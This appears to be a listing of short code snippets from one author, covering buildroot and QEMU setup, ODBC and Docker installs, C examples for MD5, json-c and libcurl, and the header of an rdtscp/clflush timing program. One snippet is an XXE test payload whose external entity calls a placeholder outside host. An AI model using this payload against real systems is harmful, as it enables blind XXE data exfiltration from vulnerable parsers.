raminfp

We are going to use buildroot to download, configure and compile the kernel.

First, download  and uncompress buildroot: https://buildroot.org/download.html

Go to the directory and:

make qemu_x86_defconfig

make menuconfig

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/*
 * The following description is from Linux Programmer's Manual (strtok(3)):
 *
 * #include <string.h>
 * char *strtok(char *str, const char *delim);
 *
 * The  strtok() function breaks a string into a sequence of zero or more
 * nonempty tokens.  On the first call to strtok() the string to be parsed
 * should be specified in str. In each subsequent call that should parse
 * the same string, str must be NULL.

raminfp

1. Install and register the FreeTDS driver for unixODBC.

    apt-get install tdsodbc
    odbcinst -i -d -f /usr/share/tdsodbc/odbcinst.ini
   

2. (Optional) Test the DSN-less connection with pyodbc.

    apt-get install python-pyodbc
   

>>> import pyodbc

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/*
 * Simple MD5 implementation
 *
 * Compile with: gcc -o md5 -O3 -lm md5.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
 

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/*
 * A simple example of json string parsing with json-c.
 *
 * clang -Wall -g -I/usr/include/json-c/ -o json_parser json_parser.c -ljson-c
 */
#include <json.h>
#include <stdio.h>

int main() {
	struct json_object *jobj;

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/**
 * example C code using libcurl and json-c
 * to post and return a payload using
 * http://jsonplaceholder.typicode.com
 *
 * Requirements:
 *
 * json-c - https://github.com/json-c/json-c
 * libcurl - http://curl.haxx.se/libcurl/c
 *

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--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

raminfp

#!/usr/bin/bash


qemu-system-x86_64 \
  -hda wheezy.img \
  -m 2G \
  -smp 2 \
  -net user,hostfwd=tcp::10021-:22 -net nic \
  -nographic \

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Installing Docker CE on Ubuntu 17.10 Artful Aardvark

As of 20/10/2017, a release file for Ubuntu 17.10 Artful Aardvark is not available on Download Docker.

sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo apt-key fingerprint 0EBFCD88

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#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif